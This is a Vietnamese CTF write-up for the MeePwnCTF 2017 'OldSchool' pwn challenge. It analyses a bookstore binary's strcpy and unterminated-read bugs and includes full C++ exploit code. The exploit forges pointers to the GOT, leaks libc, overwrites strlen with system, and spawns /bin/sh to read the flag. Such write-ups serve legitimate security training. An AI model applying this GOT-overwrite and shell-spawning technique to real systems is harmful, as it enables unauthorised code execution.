[Writeup]OldSchool — MeePwnCTF 2017

Thu Nguyen
Jul 17, 2017 · 5 min read

Bài này có 2 file thực thi 1 ELF 64bit (không aslr,RELRO,PIE nhưng có NX bit, stack cookie) 1 ELF libc so library của linux và 1 server có service chạy file thực thi .

Phân tích file ELF.

Hàm main với vòng lặp duy trì bằng biến int8 tại bp-E5== 0.

Bên trong vòng lặp có nhập số của menu, case jump đến các function tương ứng.

-------- BookStore --------
1. Add Book.
2. Edit Book.
3. Delete Book.
4. Show Books.
5. Exit.
while ( ~(v5 != 0) & 1 )
{
v3 = printmenuwaitinput_400930() - 1;
if ( v3 <= 3 )
JUMPOUT(__CS__, *(&off_401228 + v3));
v5 = 1;
}

Tiếp tục phân tích các hàm trong case.

Case Add book:

v40 = printf("Book name:", v3);
read_400AE0((__int64)&src, 32u);
v39 = printf("Author:", 32LL);
read_400AE0((__int64)&v61, 32u);
v38 = printf("Length of Description:", 32LL);
v56 = readint_4008C0();
if ( v56 < 0 || v56 > 0x100 )
{
v37 = puts("Integer Overflow");
exit(-1);
}
dest = (char *)&v20 - ((v56 + 83LL) & 0xFFFFFFFFFFFFFFF0LL);
*((_DWORD *)dest + 16) = v56;
v36 = printf("Description:");
read_400AE0((__int64)(dest + 68), v56); v34 = strcpy(dest, &src);
v5 = strcpy(dest + 32, v35);
dest[v56 + 68] = 0;
v6 = v58++;
s[(unsigned __int64)(unsigned int)v6] = (__int64)dest;
v33 = v5;

Thực hiện sub esp để lấy khoảng stack lưu Book với struct:

|book_name[32]|author[32]|desclen[4]|desc[(15+desclen)&0xFFFFFFFFFFFFFFF0]

sau đó lưu con trỏ đến struct này vào một mảng để các case khác sử dụng.

Ngoài ra trong case thực hiện đọc các thông tin từ stdin, lưu vào các biến local, sau đó dùng strcpy copy lại vào struct.

Khá nhiều vấn đề ở case này.

Use uninitialize memory: vì không thực hiện memset 0 đển khởi tạo cho vùng nhớ stack nên ở đoạn nhập desc sử dụng hàm read trực tiếp không append null termite byte cho string có thể sẽ nối data với dữ liệu cũ nào đó, gây leak memory infomation khi printf desc ở các hàm khác hoặc khi tạo các book tiếp theo có str ngắn hơn sẽ bị nối thêm dữ liệu thừa ra của book trước vào do không memset 0 init lại các biến được memset 0 từ đầu.

Nghiêm trọng hơn khi sử dụng strcpy copy lại các biến local tồn tại vấn đề như sau:

1 case gọi read từ stdin không append null byte cho string, nên khi v61(RBP-0x50) có độ dài 32 nhập vào sẽ nối dữ chuỗi dữ liệu với src (RBP-0x30) tạo thành 1 chuỗi chung.

2 case strcpy xác định việc ngừng copy bằng nullstring. nên ở dòng

v35 = &v61;
v5 = strcpy(dest + 32, v35);

sẽ overwrite sang biến desc_len ở *((_DWORD *)dest + 64) = v56; (IDA convert offset sai theo kiểu mảng int, 16*4 = 64). Vậy ta có 1 lỗi overbuffer tạo desclen lớn tùy ý khi author có độ dài max 32.

Tiếp tục xem case Edit Book:

v7 = v58;
sub_400A10((__int64)s, v58);
v31 = printf("Which book do you want to edit ?", v7);
v55 = readint_4008C0() - 1;
...............
v56 = *(_DWORD *)(s[v55] + 64);
v16 = printf("Description:", v15);
v17 = s[v55] + 68;
v25 = v16;
read_400AE0(v17, v56);

case này thực hiện hiển thị mọi book, lấy con trỏ từ mảng ra, dùng strlen kiểm tra độ dài string và dùng độ dài này để nhập lại các trường bookname, author trong book struct. Còn desc thì dựa vào desclen.

Vì ta kiểm soát được desclen tại nên sẽ tiếp tục tạo ra được lỗi overbufffer stack tại:

v17 = s[v55] + 68;
v25 = v16;
read_400AE0(v17, v56);

(ngoài ra trong phần tính strlen của author, cũng có thể tồn tại 1 lỗi nếu author = 32 thì cũng nối luôn dữ liệu vào desclen gốc ban đầu, trả ra srlen ++, viết lại đc 1 byte desclen ban đầu, có thể đủ để exploit, lỗi này tồn tại nếu k set name, còn không thì vốn desclen sẽ được overwrite ngay từ lúc tọa book. fix việc việc add null terminate string thì lỗi này cũng không khai thác được)

Với các lỗi này ta cảm thấy đã đủ để exploit, nên không RE nốt các hàm còn lại, có thể xác định việc khai thác như sau:

Vì trương trình sử dụng nhiều biến local lưu biến duy trì vòng lặp, lưu mảng các con trỏ đến các book nên không thể leak stack cookie bằng cách tạo dữ liệu nối liền đến stack cookie.

Ta có thể dùng dữ liệu overflow, giữ nguyên biến duy trì vòng lặp =0, tạo bảng lưu các pointer giả có địa chỉ trỏ đến bảng import function trong ELF struct thực hiện read/write các data tại đó. Có thể ghi đè lại địa chỉ hàm atoi hoặc strlen có calling convention arg tương tự hàm system, chọn strlen vì để thoải mái input hơn. Sau đó nhập bin/sh hoặc lệnh cat flag cho book tiếp theo và chọn edit để nó tính strlen, thực thi system(str cần tính strlen).

Debug 1 chút ta có với desc_len =4 thì biến duy trì vòng lặp ở vị trí 231, số book ở 232–236,address book 1 ở 236–244 từ desc của book 1.

Exploit code:

#include "stdafx.h" 
#include <stdio.h>
#include <string>
#include "SockT1.h"
int _tmain(int argc, char* argv[])
{
SOCKET ConnectSocket = OpenSocket("139.59.244.42", 31340);
//system("Pause");
readu(ConnectSocket, ":");
//book mới với author=32 A, name =32xA, overwrite desclen=0x41414141
sSend(ConnectSocket, "1\n", 0);
readu(ConnectSocket, ":");
sSend(ConnectSocket, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 0);
readu(ConnectSocket, ":");
sSend(ConnectSocket, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 0);
readu(ConnectSocket, ":"); sSend(ConnectSocket, "4\n", 0);
readu(ConnectSocket, ":"); sSend(ConnectSocket, "1234", 0);
readu(ConnectSocket, ":");
sSend(ConnectSocket, "2\n", 0); //chọn edit
readu(ConnectSocket, "?");
sSend(ConnectSocket, "1\n", 0); readu(ConnectSocket, ":");
sSend(ConnectSocket, "A\n", 0); readu(ConnectSocket, ":");
sSend(ConnectSocket, "A\n", 0); readu(ConnectSocket, ":");
//overwrite booklist giả
char pl[260]; memset(pl, 0, 260); memset(pl, 'A', 260);
pl[250] = '\n'; pl[231] = 0x0; memcpy(&pl[232], "\x01\x00\x00\x00", 4);
long long got = 0x602028-32; memcpy(&pl[232+4], &got, 8);
sSend(ConnectSocket,pl , 251);
readu(ConnectSocket, ":");
sSend(ConnectSocket, "2\n", 0);
char* buf = (char*)readbuf(ConnectSocket, 1000);
//leak địa chỉ hàm ra ở sau dấu : thứ 2 - author:
buf = strchr(buf, ':'); buf += 2; buf = strchr(buf, ':');
buf += 2; long long leak = 0;
memcpy(&leak, buf, 6); //leak strlen
printf("%llx\n",leak);
//system("Pause");
long long base = leak - 0x8B720;
printf("base %llx\n", base);
long long asystem = base + 0x45390;// 0x4557A;//0x456a0;
printf("system %llx\n", asystem);
char payl2[10]; memset(payl2, 0, 10);
memcpy(payl2, &asystem, 8);
payl2[7] = '\n';
sSend(ConnectSocket, "1\n", 0);
readu(ConnectSocket, "e:");
sSend(ConnectSocket, "xx\n", 0);
readu(ConnectSocket, ":"); //edit author
sSend(ConnectSocket, payl2, 7); //overite system to strlen
readu(ConnectSocket, ":");
sSend(ConnectSocket, "\n", 0);
readu(ConnectSocket, ":");
//system("Pause");
sSend(ConnectSocket, "1\n", 0); //tạo thêm book với name bin/sh
readu(ConnectSocket, "e:");
sSend(ConnectSocket, "/bin/sh\x00\n", 9);
readu(ConnectSocket, ":");
sSend(ConnectSocket, "/bin/sh\x00\n", 9);
readu(ConnectSocket, ":");
sSend(ConnectSocket, "/bin/sh\x00\n", 9);
readu(ConnectSocket, ":");
// edit book 2
sSend(ConnectSocket, "2\n", 0);
readu(ConnectSocket, "?");
sSend(ConnectSocket, "2\n", 0);
readu(ConnectSocket, ":");
sSend(ConnectSocket, "cat /home/oldschool/flag\n", 0);
readu(ConnectSocket, "abcxyz");
printf("\n end \n");
system("Pause");
return 0;
}

nightst0rm

NightSt0rm is a group of IT security researchers, enthusiasts , who share the same interests. We are focusing on Hacking, Cryptography, Malware analyst & Computer forensics.

Thu Nguyen

Written by

nightst0rm

NightSt0rm is a group of IT security researchers, enthusiasts , who share the same interests. We are focusing on Hacking, Cryptography, Malware analyst & Computer forensics.